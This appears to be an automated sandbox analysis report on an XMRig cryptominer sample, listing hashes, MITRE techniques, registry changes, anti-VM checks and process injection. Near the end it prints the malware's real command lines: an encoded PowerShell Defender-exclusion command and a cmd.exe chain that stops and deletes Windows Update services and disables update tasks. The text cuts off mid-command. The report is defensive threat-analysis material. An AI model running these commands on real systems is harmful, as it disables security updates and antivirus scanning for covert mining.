xmrig | 835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4

Analysis

max time kernel
301s
max time network
281s
platform
windows10-1703_x64
resource
win10-20220722-en
resource tags

arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system
submitted
09-08-2022 22:15

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General

Target

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
Size

7.3MB
MD5

f9ab75206a1dfc85b69ee04068cd34cf
SHA1

3b1a85c8dd2b7080b2e3eb3aa950992886b3c89e
SHA256

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4
SHA512

8eb56f43b21d728251a5a8e28ad7f6165a0ccfae37d6f7c43ad636fb1b955ca676c4576429f239c086ad22bbab1187d4e68e63c950b260ea5594ee07df3f4593

Score

10^/10

xmrig discovery evasion exploit miner themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exeupdater.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/316-468-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/316-469-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/316-470-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/316-471-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/316-485-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/316-486-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2996 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

5020 takeown.exe
4044 icacls.exe
3232 takeown.exe
2016 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
2996	updater.exe

pid	process
5020	takeown.exe
4044	icacls.exe
3232	takeown.exe
2016	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Modifies file permissions 1 TTPs 4 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

5020 takeown.exe
4044 icacls.exe
3232 takeown.exe
2016 icacls.exe

pid	process
5020	takeown.exe
4044	icacls.exe
3232	takeown.exe
2016	icacls.exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/4764-127-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral2/memory/4764-128-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral2/memory/4764-129-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/2996-268-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral2/memory/2996-272-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral2/memory/2996-277-0x0000000000400000-0x00000000010C4000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.execonhost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exeupdater.exe

pid process

4764 835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
2996 updater.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 4256 set thread context of 316 4256 conhost.exe explorer.exe

pid	process
4764	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
2996	updater.exe

description	pid	process	target process
PID 4256 set thread context of 316	4256	conhost.exe	explorer.exe

Drops file in Program Files directory 3 IoCs

Processes:

conhost.exepowershell.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3440 sc.exe
3792 sc.exe
916 sc.exe
5068 sc.exe
3932 sc.exe
3472 sc.exe
3460 sc.exe
5116 sc.exe
4384 sc.exe
5072 sc.exe

pid	process
3440	sc.exe
3792	sc.exe
916	sc.exe
5068	sc.exe
3932	sc.exe
3472	sc.exe
3460	sc.exe
5116	sc.exe
4384	sc.exe
5072	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEconhost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
2456	reg.exe
1548	reg.exe
1584	reg.exe
764	reg.exe
3148	reg.exe
60	reg.exe
4644	reg.exe
5032	reg.exe
4444	reg.exe
5096	reg.exe
1036	reg.exe
1136	reg.exe
1816	reg.exe
4680	reg.exe
4580	reg.exe
2252	reg.exe
4484	reg.exe
4708	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exe

pid	process
4152	powershell.exe
4152	powershell.exe
4152	powershell.exe
4492	conhost.exe
2016	powershell.exe
2016	powershell.exe
2016	powershell.exe
2292	powershell.EXE
2292	powershell.EXE
2292	powershell.EXE
3296	powershell.exe
3296	powershell.exe
3296	powershell.exe
4256	conhost.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe
316	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

628

pid	process
628

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.execonhost.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeIncreaseQuotaPrivilege	4152	powershell.exe
Token: SeSecurityPrivilege	4152	powershell.exe
Token: SeTakeOwnershipPrivilege	4152	powershell.exe
Token: SeLoadDriverPrivilege	4152	powershell.exe
Token: SeSystemProfilePrivilege	4152	powershell.exe
Token: SeSystemtimePrivilege	4152	powershell.exe
Token: SeProfSingleProcessPrivilege	4152	powershell.exe
Token: SeIncBasePriorityPrivilege	4152	powershell.exe
Token: SeCreatePagefilePrivilege	4152	powershell.exe
Token: SeBackupPrivilege	4152	powershell.exe
Token: SeRestorePrivilege	4152	powershell.exe
Token: SeShutdownPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeSystemEnvironmentPrivilege	4152	powershell.exe
Token: SeRemoteShutdownPrivilege	4152	powershell.exe
Token: SeUndockPrivilege	4152	powershell.exe
Token: SeManageVolumePrivilege	4152	powershell.exe
Token: 33	4152	powershell.exe
Token: 34	4152	powershell.exe
Token: 35	4152	powershell.exe
Token: 36	4152	powershell.exe
Token: SeShutdownPrivilege	3468	powercfg.exe
Token: SeCreatePagefilePrivilege	3468	powercfg.exe
Token: SeDebugPrivilege	4492	conhost.exe
Token: SeShutdownPrivilege	508	powercfg.exe
Token: SeCreatePagefilePrivilege	508	powercfg.exe
Token: SeShutdownPrivilege	4820	powercfg.exe
Token: SeCreatePagefilePrivilege	4820	powercfg.exe
Token: SeShutdownPrivilege	4472	powercfg.exe
Token: SeCreatePagefilePrivilege	4472	powercfg.exe
Token: SeTakeOwnershipPrivilege	5020	takeown.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeIncreaseQuotaPrivilege	2016	powershell.exe
Token: SeSecurityPrivilege	2016	powershell.exe
Token: SeTakeOwnershipPrivilege	2016	powershell.exe
Token: SeLoadDriverPrivilege	2016	powershell.exe
Token: SeSystemProfilePrivilege	2016	powershell.exe
Token: SeSystemtimePrivilege	2016	powershell.exe
Token: SeProfSingleProcessPrivilege	2016	powershell.exe
Token: SeIncBasePriorityPrivilege	2016	powershell.exe
Token: SeCreatePagefilePrivilege	2016	powershell.exe
Token: SeBackupPrivilege	2016	powershell.exe
Token: SeRestorePrivilege	2016	powershell.exe
Token: SeShutdownPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeSystemEnvironmentPrivilege	2016	powershell.exe
Token: SeRemoteShutdownPrivilege	2016	powershell.exe
Token: SeUndockPrivilege	2016	powershell.exe
Token: SeManageVolumePrivilege	2016	powershell.exe
Token: 33	2016	powershell.exe
Token: 34	2016	powershell.exe
Token: 35	2016	powershell.exe
Token: 36	2016	powershell.exe
Token: SeIncreaseQuotaPrivilege	2016	powershell.exe
Token: SeSecurityPrivilege	2016	powershell.exe
Token: SeTakeOwnershipPrivilege	2016	powershell.exe
Token: SeLoadDriverPrivilege	2016	powershell.exe
Token: SeSystemProfilePrivilege	2016	powershell.exe
Token: SeSystemtimePrivilege	2016	powershell.exe
Token: SeProfSingleProcessPrivilege	2016	powershell.exe
Token: SeIncBasePriorityPrivilege	2016	powershell.exe
Token: SeCreatePagefilePrivilege	2016	powershell.exe
Token: SeBackupPrivilege	2016	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.execonhost.execmd.execmd.exepowershell.EXE

description	pid	process	target process
PID 4764 wrote to memory of 4492	4764	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe	conhost.exe
PID 4764 wrote to memory of 4492	4764	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe	conhost.exe
PID 4764 wrote to memory of 4492	4764	835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe	conhost.exe
PID 4492 wrote to memory of 4152	4492	conhost.exe	powershell.exe
PID 4492 wrote to memory of 4152	4492	conhost.exe	powershell.exe
PID 4492 wrote to memory of 3336	4492	conhost.exe	cmd.exe
PID 4492 wrote to memory of 3336	4492	conhost.exe	cmd.exe
PID 4492 wrote to memory of 2224	4492	conhost.exe	cmd.exe
PID 4492 wrote to memory of 2224	4492	conhost.exe	cmd.exe
PID 3336 wrote to memory of 3472	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 3472	3336	cmd.exe	sc.exe
PID 2224 wrote to memory of 3468	2224	cmd.exe	powercfg.exe
PID 2224 wrote to memory of 3468	2224	cmd.exe	powercfg.exe
PID 3336 wrote to memory of 3460	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 3460	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 3440	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 3440	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 5116	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 5116	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 4384	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 4384	3336	cmd.exe	sc.exe
PID 3336 wrote to memory of 2456	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 2456	3336	cmd.exe	reg.exe
PID 2224 wrote to memory of 508	2224	cmd.exe	powercfg.exe
PID 2224 wrote to memory of 508	2224	cmd.exe	powercfg.exe
PID 2224 wrote to memory of 4820	2224	cmd.exe	powercfg.exe
PID 2224 wrote to memory of 4820	2224	cmd.exe	powercfg.exe
PID 3336 wrote to memory of 764	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 764	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 4444	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 4444	3336	cmd.exe	reg.exe
PID 2224 wrote to memory of 4472	2224	cmd.exe	powercfg.exe
PID 2224 wrote to memory of 4472	2224	cmd.exe	powercfg.exe
PID 3336 wrote to memory of 3148	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 3148	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 5096	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 5096	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 5020	3336	cmd.exe	takeown.exe
PID 3336 wrote to memory of 5020	3336	cmd.exe	takeown.exe
PID 3336 wrote to memory of 4044	3336	cmd.exe	icacls.exe
PID 3336 wrote to memory of 4044	3336	cmd.exe	icacls.exe
PID 4492 wrote to memory of 2016	4492	conhost.exe	powershell.exe
PID 4492 wrote to memory of 2016	4492	conhost.exe	powershell.exe
PID 3336 wrote to memory of 4580	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 4580	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 2252	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 2252	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 1548	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 1548	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 1584	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 1584	3336	cmd.exe	reg.exe
PID 3336 wrote to memory of 1444	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 1444	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 4264	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 4264	3336	cmd.exe	schtasks.exe
PID 2292 wrote to memory of 2996	2292	powershell.EXE	updater.exe
PID 2292 wrote to memory of 2996	2292	powershell.EXE	updater.exe
PID 3336 wrote to memory of 2416	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 2416	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 2176	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 2176	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 1776	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 1776	3336	cmd.exe	schtasks.exe
PID 3336 wrote to memory of 1368	3336	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe
"C:\Users\Admin\AppData\Local\Temp\835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4764

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\835f243d003c5a32c3f1d4cd50713a46fcf70121cfde278f0bc98ef9567af6d4.exe"
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAbAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGIAaQBuAGwAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZQBqAHkAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB5AHEAIwA+AA=="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN 